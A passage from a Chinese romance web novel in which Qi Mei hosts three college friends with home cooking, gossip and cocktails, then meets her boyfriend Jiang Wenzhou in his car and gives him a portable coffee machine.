齐眉不由得一愣,我猫呢?我狗呢?不会是有贼来过了吧?! “……阿眉?”三位好友挤在门口,感觉她好像有点不对劲,遂一面好奇地往里探头,一面问她,“怎么啦?” 齐眉被她们叫得回过神来,这时才想起,昨晚江问舟给自己发过信息的,说他把金金带回去了,年年送去宠物店晚睡,让她早上回来别忘了去接它。 想起来之后,她顿时忍不住尖叫:“啊——我忘了接狗!” 三位好友:“……” ————— 一行人赶紧先放下行李,又跟着齐眉出门,去宠物店接年年。 还说是:“走喽,去接女儿!” 齐眉一愣:“……啊?女儿?” “你家小狗不是女的吗,你不是当女儿养的吗?”姚敏勾着她的脖子,笑嘻嘻道,“你的女儿就是我们的女儿,共享女儿是这样的啊。” 齐眉一阵无语,对蒋乐亭说:“要不你生一个人类女儿给大家吧。” “……怎么这也能拐到我这儿来!”蒋乐亭翻了个白眼,“而且万一是儿子呢?我可不生,过几年再说。” 说完斜着眼乜她一下,道:“我们四个里,难道不是你最适合做这件事?” 你看,房子有了,爱人有了,工作和收入都稳定,工作也比较轻松,休息的时间多,闲着也是闲着,不该为人类繁衍大业做点贡献? 姚敏和徐丹若看热闹不嫌事大,纷纷附和道:“是啊,她说得没错,你快跟你哥商量一下,生一个玩玩。” “抓紧时间啊,再过两年就要成大龄产妇啦。” 齐眉一噎,半天不知道怎么反驳她们,只得嘟囔了一句:“一根手指指着别人的时候,四根手指指着自己的,怎么不说你们也是大龄产妇……” 大家一阵哄笑,嘻嘻哈哈地往楼下走,在单元楼门口碰到邻居,齐眉还被问是不是亲戚过来玩了。 到宠物店的时候,已经差不多中午十二点,年年正趴在店里接待区的沙发上,神情似乎有点闷闷不乐。 直到听见平时负责遛它的前台小姐姐喊它:“年年,你妈妈来啦!” 大白团子的耳朵一动,扭头看向门口。 齐眉刚跟店员打了声招呼,就见年年天下沙发朝她跑过来,亲昵地蹭着她的腿。 “它早早就出来等你啦,可是你老也不来,它就有点不高兴了。”店员笑眯眯地帮年年控诉道。 “是吗,所以你就不开心啊?”齐眉连忙弯腰揉揉它脑袋,捏着它耳朵跟它蛐蛐江问舟,“其实都怪那个谁,是吧,他把姐姐带走了,不带我们年年,我们不跟他好了,好不好?” 年年吐着舌头往她怀里钻,又好奇地看向姚敏她们。 三人挨个摸了一遍年年,然后众星拱月地带着它一起走出宠物店,上了车齐眉才发现,时间已经过了正午十二点。 该吃午饭了。 “……我们先把年年送回家,再出去吃饭?”齐眉啧了声,“早知道吃完饭再来接了,失策。” 坐在后座搂着年年的蒋乐亭吐槽说:“那孩子得更气了吧,你居然先去吃饭都不先去接它。” 徐丹若揉着年年的大脑袋,逗它:“你要不跟我们回申城吧,你这个妈不靠谱啊。” 姚敏从副驾上回头看了一眼,接着对齐眉道:“要不我们回去呗,回去点外卖。” 齐眉啊了声:“这不好吧,你们大老远过来,就在家吃外卖呀?” “外卖怎么了,外卖也很好啊。”徐丹若扒着驾驶座的椅背凑上前,义正辞严,“我们来容城是来看你的,吃不吃什么的,不重要!” “这样啊……”齐眉眨眨眼,“那……明天睡晚点,就不去吃早茶了?起来继续点外卖?” 三人立刻阻止:“倒也不用这么客气,我们早起上班惯了的,突然睡这么大的懒觉不习惯,太奢侈了,我们不能好逸恶劳。” 齐眉:“……”啧啧啧。 不过她们到底还是回了家,外面实在太热,其实谁也没有太多出去吃饭的欲望,头顶的太阳和脚底的热气足以击退所有。 回了家齐眉第一件事就是让大家点外卖,她则是去翻冰箱。 “吃椰子鸡怎么样,有一份椰子鸡前天到的,还没来得及吃呢,嗯……再给你们做个炸鸡腿或者炸鸡翅吧?要不要?” 话音刚落,外面便传来异口同声的回答:“鸡翅!” 然后是几道早茶会吃到的点心,金钱肚和蒸排骨之类,虽说是预制菜,但味道其实还不错。 趁着鸡翅腌制的功夫,齐眉煮了西米,再顺手把切成小块的香芋冷水下锅。 煮香芋的时候,鸡翅也腌好了,她将鸡翅先裹一层面粉,再蘸一下蛋液,最后在薯片碎里滚一圈,进锅油炸。 噼里啪啦炸东西的声音听起来十分热闹,蒋乐亭拿着包薯片靠在门口,一边嚼嚼嚼一边发表感想:“姓江那谁可真幸福,这么漂亮体贴专一还会做菜的老婆我也想要。” 齐眉听了失笑,头也不回地道:“你不是已经喊了好多年?” “那能一样吗?”蒋乐亭哼了声,“我叫你老婆,你敢应吗?” 齐眉不吭声了。 也不是不敢,是不愿意,她心里嘀嘀咕咕,我哥都还没这么叫过我呢。 蒋乐亭见她哑巴了,顿时气笑,进去就一巴掌用力打她屁股上,还揉了一下,气呼呼道:“你不应我就非礼你!” 齐眉:“……”喂!!! 鸡翅炸好,芋头也煮好了,天气热,甜品自然是冰镇过的才最好吃,所以齐眉把煮好的芋头和西米一股脑放进冰箱。 然后探头出去问:“外卖送到了吗?” 话音刚落,一阵手机铃声响起,姚敏接起来应了两句,就听见门铃声响了。 齐眉赶紧说:“再给我十几分钟,椰子鸡很快的。” 家里常吃的一款椰子鸡,是齐眉前年找椰子进货渠道的时候认识的一位供应商旗下线上店铺的招牌产品,一份椰子鸡里有发货当天新鲜宰杀急冻出库的鸡肉,还有椰肉、椰子水、珍珠马蹄和调料盒。 东西齐全,做起来就很快,椰子水和椰肉、马蹄一起煮开,再把鸡肉倒进去煮七八分钟,这时候蘸料也调好了,正好可以上桌。 “可以先喝汤哦,很清甜的。”齐眉一面给大家递蘸料碗,一面建议道。 徐丹若有些惊讶:“椰子鸡煮这么快吗?” 她没好意思说怀疑没煮熟:) “椰子鸡本来就煮熟得很快好不好!”齐眉嗔她一眼,“去菜市场买肉买菜,回来还要开椰子,要洗洗切切,才显得麻烦,可是现在东西都齐全的,鸡人家都帮忙处理好切成块的,自己洗洗就是了,直接放下去煮能用多久。” “我在生鲜超市也买过。”蒋乐亭凑近去看锅里的鸡汤,“但是送来的是那种冰冻的鸡肉,保质期一年那种,那就不知道到底什么时候杀的了,煮出来的汤没你这个这么清。” “这个倒还行,我下单之后第二天杀的,包装上有日期。”至于说有没有可能造假,齐眉觉得,“吃了差不多两年,每次都不错,品质一直稳定,鸡肉也很新鲜,没有腥气,就信它吧。” “除非是自己杀的,否则无法百分百保证新鲜。”姚敏将外卖送来的饭菜摆开,“不过容城是不是市里也没有活禽宰杀啦?” 齐眉点点头:“好多年前就没有了。” 不过最近托孙茂芸和江眀琮的福,她的口福又回来了。 她有些得意地道:“我干爸干妈在村里租了个房子,可以养鸡,村里也有人养,隔壁村还有养鸡场,现在我们家吃鸡方便多喽。” 徐丹若嘴快地接道:“每一只都取了名字,这只叫初一,那只叫十五。” 大家一阵乐不可支的哄笑,分好饭和汤之后坐下吃饭,蒋乐亭还感慨了一句:“感觉像是回到了以前我们在宿舍聚餐的时候。” 那时候她们还把门窗关得严严实实的,偷偷在宿舍里煮火锅吃,明明是普普通通的火锅料,寻常可见甚至谈不上多丰盛的食材,但她们就是吃得很开心,觉得还是自己做的好吃和划算。 大抵还是和同桌的人有关吧。 “来来来,我们来尝尝齐眉同学的手艺。”蒋乐亭招呼道。 一桌菜除了外卖,麻烦点的大概只有炸鸡翅,腌得很入味,炸得外壳酥脆,肉还是嫩而多汁的,大家都说好吃,蒋乐亭还一边吃一边问她做法。 徐丹若和姚敏则是喜欢那几个蒸排骨和金钱肚之类的点心,问齐眉是哪个速冻食品的牌子。 “321上链接,等我回去了买一冰箱,妈妈再也不用怕我会饿肚子了。” “椰子鸡也不错,保质期能多久?” “容城大酒店出的,你去他们家旗舰店就能买到,看什么时候便宜有优惠再买吧。”齐眉一面蘸着鸡肉一面应道,“椰子鸡的保质期写的是冷冻可以保存六十天,但最佳食用时间是收到货后两三天内,当天吃是最好的。” 她说着低头咬了一口紧实弹爽的鸡肉,才继续道:“不过这只能说是同类产品中比较好的,速冻产品再怎么样,也比不上现做的,明早我们去翠湖宾馆吃早茶,那边味道好而且风景好,我还订了个可以看湖景的包厢。” 刚说完,蒋乐亭就带头大声起哄:“让我们谢谢齐老板!” 齐眉吓了一跳:“……” 说笑着吃完饭,时间竟然已经快到下午两点,齐眉将冰箱里冰镇的西米和芋头拿出来,加入椰奶,就变成了经典糖水香芋椰汁西米露。 四个人聚在客厅,有人坐沙发有人坐地毯,围在一起一边吃糖水一边闲聊,开了电视,却完全没有人看。 齐眉听她们讲以前同学的事,听得津津有味。 “阿眉还记不记得我们隔壁寝室的隋玲玲?” 齐眉咬着匙羹,点点头:“记得呀,水灵灵嘛。” 那都是大家根据同学的名字取的谐音梗了,因为没什么不好的字眼,所以当事人干脆爽快笑纳了。 “她怎么了?”齐眉关切问道,她和隋玲玲虽然不同专业不同学院,但因为住隔壁,又选过两次一样的公选课,其实关系还挺好的。 “她去年本来是要结婚的。”姚敏靠在沙发上,面露嫌弃,“请柬都发了,结果那男的被她抓到出轨,渣男真是偷偷藏不住。” 齐眉一愣:“……怎么说?被堵在床上了?” “是被小三找上门了。”姚敏翻了个白眼,“是那个渣男的学妹,在学校的时候俩人就暧昧过,没成,说是当朋友相处,还带隋玲玲和她一起吃过饭,那姑娘一口一个嫂子叫得可欢了,结果他们要结婚了,请帖都发了,还有一周就要婚礼,她半夜给隋玲玲发信息,说自己特别难过,因为爱的人要结婚了新娘不是她,还问隋玲玲能不能成全她,她想加入这个家……” 她说到这里忽然停下来,然后哕了一声。 齐眉噫了一声,吐槽道:“这人怎么这么……绿茶……” 顿了顿,她忍不住看一眼徐丹若,好像…… “你看我干什么?”徐丹若立刻没好气地白她一眼。 齐眉一抖,立刻转头问姚敏:“那……酒席怎么办,临时退了?” 蒋乐亭忍不住哈哈大笑,看徐丹若还能是为什么,当然是因为她那个前男友也差不多这个情况,和女性朋友聊着聊着就过从甚密了。 “没退。”姚敏一面哈哈大笑,一面摇头回答齐眉道,“她家里条件挺好,说是不差这点钱,干脆招待来参加的婚礼的亲戚朋友在申城玩了几天,就当是去去晦气了。” 齐眉哦哦两声,还没来得及说什么,就听姚敏话音一转,开始痛斥徐丹若的傻逼前男友。 说什么:“幸好你跟他拉倒了,不然我拿扫把打你!” 徐丹若被说得缩头缩脑的,和齐眉靠在了一起。 齐眉也不敢吭声,感觉这会儿说什么都是触她霉头,她可不想被殃及池鱼。 蒋乐亭劝了几句,边劝边笑:“好了啦,不要讲这些不开心的事了嘛,谁年轻的时候没遇到过几个人渣啊,对吧?” 齐眉这时才帮腔道:“是呀是呀。” 也不敢多说,很怕把话题引到自己身上来。 幸好话题很快就结束,时间到了下午四点多,快要五点了,齐眉该出发去店里了。 “但是……我去的话你们怎么办?”她有些犹豫地问道,“你们晚上有什么活动吗?来之前做了什么攻略?” “没有攻略啊,就是来找你玩的,*然后去吃点好吃的,对景点倒是没什么兴趣。” 蒋乐亭眼睛一转,说:“要不,我们跟你一块儿去店里呗,去喝酒?” 另外俩人立刻说好,摩拳擦掌着说要齐眉好好服务她们。 其实最后都成了试酒的,荔枝红茶和白兰地搭配的荔枝白兰地,肉桂岩茶和威士忌调的肉桂威士忌,茉莉花茶和伏特加做的雪国,还有踩着荔枝季尾巴的最后一款荔枝果酒,用荔枝汁和梨汁搭配金酒做的荔枝甜梨金。 因为是在自己人店里,姚敏她们三个很放松,后来就喝得有点多了,聊天聊得眉飞色舞,跟田乐和佟林他们疯狂爆齐眉的料。 什么小学弟在宿舍楼下徘徊就是为了见她,结果吓得她以为有变态跟踪自己,赶紧每天让她哥接送…… 诸如此类,大家听得津津有味,临走还问她们:“明天还来吗?” 齐眉一开始好害怕她们说着说着就把她和江问舟的事爆了出来,提心吊胆绞尽脑汁想好说 辞,却发现她们没有说。 居然没有说。齐眉有些小小的遗憾。 晚上十一点半,四人一狗离开店里,一路上她们三个都在放声高歌,年年嗷嗷应和,齐眉觉得耳朵都快瞎了,也不敢开车窗。 她怕大半夜因为扰民被带派出所去。 但总算一路顺利地回到家,刚进门没一会儿,她的手机就响了,一看来电显示,江问舟的大名赫然入眼。 “你们先洗澡,我哥来了,我下楼一趟。”她说完就一溜烟地开门出去了。 蒋乐亭歪在沙发上噗嗤噗嗤地笑,问姚敏:“现在是几几年?我们是不是还在学校啊?” 时间一瞬倒流,回到她们的校园时代,那时候晚上齐眉经常这样,一句我哥来啦,人就不见了。 第59章 第五十九章(二合一)小情侣的事你别…… 齐眉拿着手机,一路小跑着出了小区大门,朝停在马路对面那辆奥迪的SUV跑去。 刚靠近,就见车后座的门被推开,伸出来一只手,攥着她的胳膊猛得一扯。 齐眉被狠狠吓了一跳,差点就要尖叫出声。 声音冲到喉咙的那一刻,她就撞上了一堵富有弹性的肌肉墙,熟悉的气息伴随着呼吸涌入鼻腔,将她还未来得及出口的尖叫也冲散开去。 “……你吓死我了!”齐眉回过神,惊魂未定地狠狠给了江问舟心口一拳。 “对不起。”江问舟认错认得很快,但听起来毫无诚意,甚至他还有些委屈,“我想你了,西西。” 齐眉一噎:“……都没到两天,你别这样。” “谁说没有。”江问舟低头,蹭着她的脸跟她仔细算,“从你昨天早上去上班,再到现在……很快就四十八小时了。” 齐眉想说那咋了,两天而已,又不是两年。 可刚张嘴,江问舟的舌尖就递了过来,搅得她什么都忘了,脑子里只有他。 其实她也很想他的。 四十八小时哪里多呢,两天不过一眨眼的功夫,可她却觉得,他们已经很久没见了。 江问舟的吻一开始就是急切的,凶狠猛烈,卷着她的舌尖往自己嘴巴里拖,想要把她整个人拆碎了吃下去。 吞咽声在耳边响起,明明那么轻微,听起来却如擂鼓。 齐眉整个人都软了下去,仿佛在这一瞬间失了骨头,只能软绵绵地依靠着他。 当然也就不可能有什么反抗的力气,她连理智都在这样热切的亲吻下没得差不多了,哪里还想得到别的。 就连江问舟的手什么时候从她的衣摆下钻进去,内衣的排扣如何被他解开,她都完全没有印象,甚至连生气都生不起来。 只是软绵绵地推着他,小声抗议:“……不要、哥……江问舟,不要在这里嘛。” 一样的话,因为带了个语气词,尾音听起来就和撒娇没什么区别了。 但江问舟还是停了下来,将她紧紧按在怀里,不停地啄着她的脖颈,还故意发出一声接一声的嘬声。 齐眉觉得自己浑身又痒又热,一阵又一阵地觉得不舒服,耳根子也烫得很,她的腰向后弯折,想要逃开此间处境,却又无法做到,于是整个人都紧绷起来。 身体里似乎有什么东西正在奔涌而出,这让她更加紧张,本能地开始挣扎:“不不不……江问舟,江问舟你别这样,停下,哥,不能、不能在这里……” 声音已经是透着些惶恐了。 她觉得自己好像变成了容城的夏天,湿热让人不自觉地心浮气躁,急需一个宣泄情绪的出口。 再这样下去,齐眉觉得自己真的会抛却羞耻,和他在这光天化日之下做出点什么出格的事。 江问舟察觉她的挣扎比之前的拒绝要真实和坚定许多,只得真的停下来,靠在她的肩膀上,和她紧紧抱在一起。 齐眉的神智渐渐回笼,这才发现他身上也热得很,着了火似的,她刚恢复的意识又被灼伤。 好在这次江问舟是真的罢休了,只狠狠揉了揉她的后腰,就帮她将内衣排扣重新扣好。 整理衣服的时候低头亲亲她鼻尖,温声道:“那我们说说话?” 齐眉眼睫轻颤,有些不敢看他,嗫嚅道:“……说、说什么呀?” 她不止是脸上身上发热,连脑子都变成一团浆糊,根本想不起来他这么大半夜的不在家睡觉,开一个小时的车跑回来是为了什么。 他们好像还没说上几句话呢,就只有她在说不要不要。 齐眉顿时不好意思,脸上的温度又开始起来了。 车厢里开着灯,江问舟可以将她脸孔上不自在的红晕看得一清二楚,忍不住喉咙一痒,低头又要亲过去。 齐眉连忙抬手挡他的脸,有些气恼地道:“再这样我就……她们回去了我也不要你回来了!” 江问舟眨眨眼,逗她:“不要我,也不要猫了?” “……那、我就去你家把它偷回来,不还给你了。”她说完重重哼一声,听起来气呼呼的。 江问舟听了忍俊不禁,把她拢进怀里,一面揉着她戴着戒指的食指,一面正经问道:“今天和大家聊得很开心?” 齐眉点点头,嗯了声,又随口问他:“你怎么知道?” “……我用脚趾头想的。”江问舟沉默半晌,突然阴阳怪气。 齐眉:“???” 她迷惑地扭头看向这人,眨眨眼,江问舟的语气便瞬间浮现委屈:“我今天给你发的信息,你一条都没回,我就知道你肯定是聊天聊得忘记看手机了。” “……啊?没回吗?”齐眉震惊,眼睛飞快地眨动几下,想起来确实有这回事,甚至是…… 她都不是忘了回他信息,而是根本没看到:) “我、我看手机了的,但是……”她除了心虚还是心虚,声音都低了下去,“信息太多了,你的在很下面,我没看到。” 江问舟被她气笑,捏着她的鼻子问:“所以你们聊什么了,聊这么嗨?” 齐眉一动不动,望着他眨眨眼,直把他看得心里发软,自己就松了手。 他继续捏着这人的手指,催促似的吐槽了一句:“说了什么不该说的,被禁言了?” “……你才被禁言。”齐眉用力拍打一下他的手背,看见有点红了,又很不好意思地帮他揉揉,立刻推进话题,“聊了很多事,都是以前的同学这几年的近况,好的坏的都有。” “是么,具体是什么?”江问舟哦了声,追问道。 齐眉有些犹豫地看他一眼:“……都是些感情事,嗯、你真的要听吗?你这么八卦啊?” “我不能听吗?”江问舟反问,“是不能告诉别人,包括你男朋友在内的,那种私密事?” 那倒也不是,徐丹若的且不说,隋玲玲那事,据姚敏她们说,认识隋玲玲有她微信的,都知道了,因为她特地发了朋友圈,详述事情始末,还把那女的发给她的信息直接截图发了出来,码都不打的。 既然这样,告诉江问舟也无所谓了。 于是她摇摇头,江问舟又问:“是不好的事?” 要是好事,她早就兴高采烈地告诉他了,这人的报喜不报忧有时候真的会出现在一些他觉得没必要的地方。 果然,他刚问完,齐眉就点了两下头。 “那就说说吧,既是感情事,又是坏事,大概是谁和谁分手了?”江问舟歪头看着她,笑道,“就当是……我取取经?” 齐眉一愣:“……啊?取、取经……取什么经?” “看看别人是怎么失去女朋友的,我避一下雷。”江问舟伸手戳戳她的脸,眼尾一皱就笑起来,“说说吧,你放心,出你口入我耳,不会让别人知道的。” 齐眉被他说动,犹豫片刻,点点头:“那好吧。” 她跟江问舟聊起隋玲玲不太顺利的婚事,说到渣男和学妹经常晚上一起吃宵夜,学妹失恋了半夜给他打电话倾诉,隋玲玲还在他们一群人的合照里发现他们俩的姿势是一人伸出一边手做爱心,隋玲玲质问,这男的就说只是一个普通的拍照手势而已,她太敏感了…… “傻子都品得出来他们不对劲,是不是?”齐眉一边说,一边看向江问舟,目光似乎充满探究。 江问舟顿时哭笑不得:“你怎么回事,吃个瓜,说别人的事,你还搞自我代入那一套?” “我没有啊。”齐眉断然否认,并且把锅甩给他,“不是你说的要避雷?” “我可没有做过这种事,我和异性同事之间都是正常的业务交流。”江问舟哼了声,在她身上揉来揉去,“我倒是这么对过我妹妹,你找她去吧。” 齐眉一噎,使劲拍他的手,气急似的嗔怪道:“……你又耍流氓!” “最多也只能这样了。”江问舟有些遗憾地啧了声,再捏捏她胳膊。 齐眉无奈地推一下他的脸,说:“很晚了,你赶紧回去吧,明天还要早早上班,到时候看着看着病人,突然犯困怎么办,这得喝多少咖啡才能保持清醒?” “明天看看第二杯有没有优惠。”江问舟不太在意地回答道。 他的生物钟早就习惯了一天只睡四五个小时,并不担心会出现齐眉说的这种情况。 但这事不能细想,细想就容易往“万一”那个方向想,齐眉的脑海里瞬间出现很多种可怕的后果,忍不住心里一阵咯噔。 她问江问舟:“还有钱吗,多点几杯?” 江问舟:“……” 他有点无语,想说什么,又听齐眉嘀咕:“外面卖的咖啡,一杯里面三分之二都是冰块,哪有多少东西,剂量不够怎么提神。” “又贵,还不如在家自己做了带过去呢……”说到这里齐眉声音一顿,诶了声,抬头看向江问舟,寻求他的意见,“你说是吧?” 江问舟觉得她碎碎念的模样可爱极了,闻言低头蹭蹭她的鼻尖,故作无奈地道:“可是我懒,怎么办啊?” 他的意思是想说,最好你做了给我送去,反正你明天白天也不上班,对吧? 但齐眉眼睛一亮:“啊!我想起来了!” 她从江问舟怀里坐直,拽着他的已经问:“你记不记得我买了一个便携式的胶囊咖啡机?” 江问舟语气一滞,想起来确实有这么个东西,但她买回来用了两天就不用了,便携式出门才好用,在家有咖啡机,哪儿用得上呢,很快就束之高阁了。 他当时还笑话她,说她又买了一个漂亮小废物,她不服气,说这个世界上根本没有垃圾,那都是放错位置的资源,你怎么知道哪天不会用上。 “你拿去办公室用呀!”齐眉显然也想起了他当时的吐槽,顿时一阵扬眉吐气,“看,现在不就用上了!” 江问舟失笑,有些无奈似的叹口气:“好吧,这次是你赢了。” “以后不准说我乱买东西!”齐眉学他平时戳自己脑袋的样子,冲着他额头狠狠戳下去。 江问舟被她戳得往后一仰,顺势把她往怀里一带。 刚想说什么,嘴巴就被齐眉伸手捏住了,接着是揉脸,揉耳朵,看似毫无章法,其实有规律可循。 “……我不是年年也不是金金,不用你这样帮忙做脸部按摩。”江问舟这次是真的无语到叹气了。 齐眉动了一下腿,跨坐到了他腿上,捧着他的脸笑嘻嘻地道:“你是年年和金金的爸爸。” “别胡说,我只是年年的舅舅而已。”他拿眼神乜着齐眉,没好气地道。 齐眉被他一噎,哎呀一声:“你这人怎么这样……” 她有些不知道说什么才好,只得直起腰又用力往他腿上一坐,撞得江问舟倒吸一口凉气:“嘶——” 他都要被她气笑了,没见过这样自损八百的。 “……我看附近有家酒店还不错,我们去开个房?”他似笑非笑地睨着齐眉,目光里不仅有揶揄,还有不容错辨的期待。 齐眉顿时整个人僵住,发觉他们现在的姿势实在不合适,不由得一噎。 等想起来是自己主动这么坐的,就更尴尬了。 “哎呀……怎么说这个、哈哈,我没带身份证……呃、我不是这个意思……” 她尴尴尬尬,语无伦次,眼神也飘忽不定。 江问舟被她这反应逗笑,忍不住捏她鼻子:“怎么这么不好意思,以前咱们也没少开吧?” 出租房停电的时候,出去玩的时候,每次住外面,他们都是住一起的,怎么这个反应像是以前这些事没发生过似的。 齐眉吐吐舌头,赶紧转移话题:“时间不早了,我们快回去吧,去拿了咖啡机你好回去睡觉了。” 说着赶紧从江问舟腿上要下去。 江问舟一把按住她的腰,不太想让她走,嘴里还揶揄她:“回去?回哪儿,上楼听蒋乐亭喊你老婆?” 哦哟,居然想起这茬来了?! 齐眉一噎,忍不住伸手使劲扯他的脸,气道:“不准再阴阳怪气了!!!” ————— “我澡都洗完了,阿眉还没回来啊?”姚敏从浴室出来,站在门口往客厅里一看,发现这个家的主人还是不在。 蒋乐亭就在旁边吹头发,闻言嗯了声:“她下楼半个多小时了吧,还没回来呢。” “准确地说,是去了四十四分钟。”在回工作信息的徐丹若闻言,立刻看一眼手机上的时间,做了一下数学题。 姚敏啧啧两声:“真够能聊的,都老夫老妻了,还这么多话说,说什么呐,你们也这样?” 说完看向蒋乐亭,没办法,这是在场唯一已婚人士,论老夫老妻,她比较有发言权。 “心理学的依恋理论和自我表露理论说,人们在感到安全和被支持时,更愿意互动和表达,尤其是对那些让他们感到信任、安全的人,他们更愿意敞开心扉,另一项研究表明,高比例的‘无意义’对话是幸福关系的标志。”[1] 蒋乐亭一边将用完的吹风机递给姚敏,一边梳着头慢悠悠继续道:“注意,这里的无意义是打引号的,也就外人可能觉得他们在聊废话,但其实他们的对话对他们来说是有意义的,所以……” “小情侣的事你别管。”说完她拍拍姚敏的肩膀。 姚敏忍不住翻了个白眼,刚要吐槽她叽里咕噜话这么多,就见年年突然爬起来朝门口跑,接着就听到开门声。 “我们回来啦。”齐眉的声音从门口处传进来。 大家定睛一看,她身后还跟着一个人,年年蹭完齐眉,就摇着尾巴往他身上扑。 姚敏看见他,嘿嘿一笑:“江学长好久不见,真不好意思啊,我们抢了你的家。” 徐丹若头也不抬地接上:“还有你的老婆。” 江问舟:“……”看吧!我就说!!! 屋里瞬间弥漫起欢乐的笑声,只有江问舟觉得一阵阵无语,不停地用谴责的目光去剜齐眉。 齐眉一阵讪讪,心里哀嚎,你们是爽了,嘴瘾过够了,到时候受苦的是我啊喂! 她觉得自己无辜极了,连忙拉住江问舟,大声表示:“她们过几天就走了的!” 笑声立刻就变成喝倒彩的嘘声,江问舟哭笑不得,揉一下年年的脑袋,就赶紧把它推开了。 齐眉脸上一阵发热,抿着唇就往厨房门口走,在小吧台下方的柜子里找到便携咖啡机,拿出来。 “怎么用来着?”江问舟在她身后问道,伸手接过她手里的盒子,拆开要找说明书。 姚敏她们都好奇地围了过来,“这是什么东西?保温杯?” “便携咖啡机,喏,盒子上有名字呀。” “这么小,一次能做多少杯?充电的?” 齐眉一边找能装咖啡粉的密封罐,一边回答大家的问题:“充电的,充一次电能用多久还不清楚,但一次做一杯我觉得够的,要是咖啡加得少点,加一次水应该能做两杯,咖啡粉和胶囊咖啡都可以用。” 说着转头问江问舟:“哥你最近是喜欢喝美式还是拿铁啊?” 江问舟的嘴角一翘,眼角瞬间笑意泛滥,“美式吧,更加提神。” 齐眉哦哦两声,从柜子里拿出另一包咖啡豆,将磨豆机补满,再启动工作按钮,很快密封罐就装了三分之二。 咖啡豆被磨碎,一阵咖啡香味在空气中弥漫,她赶紧把盖子盖上,一边收拾一边对江问舟道:“这点应该差不多够用十天了,一天喝一杯的话,要是没了你跟我说,我到时候再给你送,好吧?” “当然好。”江问舟失笑,点点头。 又听她说:“你要不多买几个冰杯放休息室的冰箱吧,应该有冰箱吧?” 江问舟又点点头,嗯了声:“我会的。” 姚敏她们对这个玩意很好奇,跃跃欲试想要用一下,说是想看看和大的咖啡机做出来的是不是一样。 江问舟便看向齐眉,齐眉有些犹豫:“大半夜的还喝咖啡,还睡不睡啦?” “又不上班,有什么所谓。”蒋乐亭耸耸肩,“而且我们可以一杯分着喝啊,一人才一两口,这就睡不着,你也太看不起我们了吧?” 熟练掌握随地大小睡技能难道不是每个临床打工人都应该做的? 于是齐眉用这个咖啡机演示了一遍用法,一边接水一边对江问舟道:“我觉得加热水会更好一点,省电,而且不用煮水,会快一点喝到。” 江问舟一边看一边点头,最后咖啡的成品他就不喝了,虽说肯定不至于一两口咖啡就睡不着,但也实在没必要这个时候还刺激自己的神经。 装好咖啡机和咖啡粉,齐眉又跑去厨房,从冰箱里搜罗出来几盒芝士牛肉卷。 “一盒有三个,都吃完你就要回来啦,刚刚好,不可以不吃早饭,知道吗?” 江问舟跟在她身后,边听边忍俊不禁:“吃不完,这中间我有两天是值班的。” “那就下夜班回家再吃。”齐眉哦了声,说,“反正不可以不吃早饭。” “你自己下夜班也不吃早饭。”江问舟啧了声,逗她,“有口说别人,没口说自己是吧?” “那能一样吗?”齐眉理直气壮,“我是我,你是你,反正你不可以!” 江问舟跟她抬杠:“哪儿不一样了?细说。” 齐眉一时没立刻回答,等把东西都装好了以后,才乜着他回了一句:“我发现您特较真。” 也不知道哪儿学来的话,听起来阴阳怪气的,江问舟一面笑一面学她在车里跟自己说话时的语气:“不准再阴阳怪气!” 齐眉一噎:“……” 门外传来几道幸灾乐祸的笑声,搞得齐眉更加无语。 她把东西塞到江问舟手里,推着他往门口走,嘟嘟囔囔:“你还是赶紧走吧,我怕你再待下去我会被气死……” 江问舟忍俊不禁,想说什么,却被年年挡住了去路。 它一路跟着大人走到门口,仰头看一下齐眉和江问舟,又看一眼放牵引绳的柜子,再转头看向他们。 它以为这是要出门遛它了。 江问舟觉得好笑,弯腰揉了一把它的脑袋,让它让让路,“我得回家了,让你妈遛你。” “明天再出去,乖,快去睡觉。”齐眉连忙把狗往回赶,看着江问舟出了门,还扶着门往外探头。 江问舟摁了电梯,回头看见她的脑袋扒在门边,眼睛一眨不眨地看着自己,目光里全是关切,心里不禁一软。 怎么会有人从小到大是越长越可爱的啊? 哦,是我妹妹啊,合理了。 齐眉看他望着自己笑,也忍不住眯起眼睛来,想了想,朝他噘起嘴。 “……好,收到了。”江问舟嘴角一动,上翘的弧度压都压不下来。 他顿了顿,等内心那股想要把不管不顾把她也强行带回去的冲动忍住了,才温声道:“快回去,早点睡,不要熬夜。” 话音刚落,电梯的门就开了。 齐眉看着他进了电梯,这才转身回屋,笑嘻嘻地问:“都洗澡了吗,是不是轮到我了?” “快去吧,就剩你了。”姚敏吐槽道,“我还以为你有情饮水饱,其他什么都不重要了呢。” “那是你以为,我可没有。”蒋乐亭说着,笑嘻嘻地冲齐眉眨眨眼,“我只是以为你会回头跟我们说要跟着你哥走了呢。” 齐眉脸上顿时一热,连忙摆手:“不至于不至于。” “至于也不用不好意思啦。”徐丹若插嘴,“谈恋爱是这样的,很正常。” 姚敏立刻斜眼看过去:“是啊,也不知道是谁,恋爱谈得我请她吃饭都请不动。” 徐丹若今晚已经连续两次被这人用同一件事怼了,可一不可再,她立刻朝姚敏扑过去。 “我跟你这个阴阳大师拼了!” 齐眉不由得哈哈大笑,看戏看够了这才慢悠悠地去洗澡。 等她洗完澡出来,一边吹头发一边给大家分配房间,姚敏和徐丹若睡客房,蒋乐亭去和齐眉睡。 蒋乐亭盘着腿坐在床边,看齐眉在认真在旁边束头发,笑着道:“你这习惯还跟以前一样。” 齐眉用丝绸发圈把头发松垮垮地扎在头顶,笑着道:“能轻易改的就不叫习惯了,习惯都是成自然的。” “说得有道理。”蒋乐亭向后一仰,倒在床上,“诶,对了,你家江学长平时睡哪边的?你睡,我睡你平时睡的那边。” 齐眉一愣:“……啊?” 这也有得讲究的吗? 她刚想说睡哪边都一样,就听蒋乐亭笑道:“我跟你讲个八卦,我们家老郑他单位有个小伙子,上上上个月跟女朋友分手了,你知道为什么吗?” 齐眉眨眨眼,脱口问道:“因为……让别的女人睡了女朋友的床位?” 蒋乐亭:“……” 她噎了一下,才没好气地反问齐眉:“你听听你自己说的话,这对劲吗?” 那叫出轨!!! 出轨知道吗,不分才不对吧,留着过清明吗?! 齐眉意识到自己说错话,顿时一阵讪讪,连忙问为什么。 又从床的这边,绕到另一边。 蒋乐亭一边往床的另一边挪,一边道:“那个小伙子去年买了车,副驾驶就一直是女朋友坐的,还贴了个可可爱爱的贴纸,写着女朋友专座,所以蹭他车的同事都很有眼色地不去坐那个位置。” 但实际上,在日常的社交礼仪中,这样是不太好的。 除了给领导当司机,或者女性下属、晚辈开车而乘客是男性,为表尊重和避嫌,否则副驾驶怎么也不该空着。 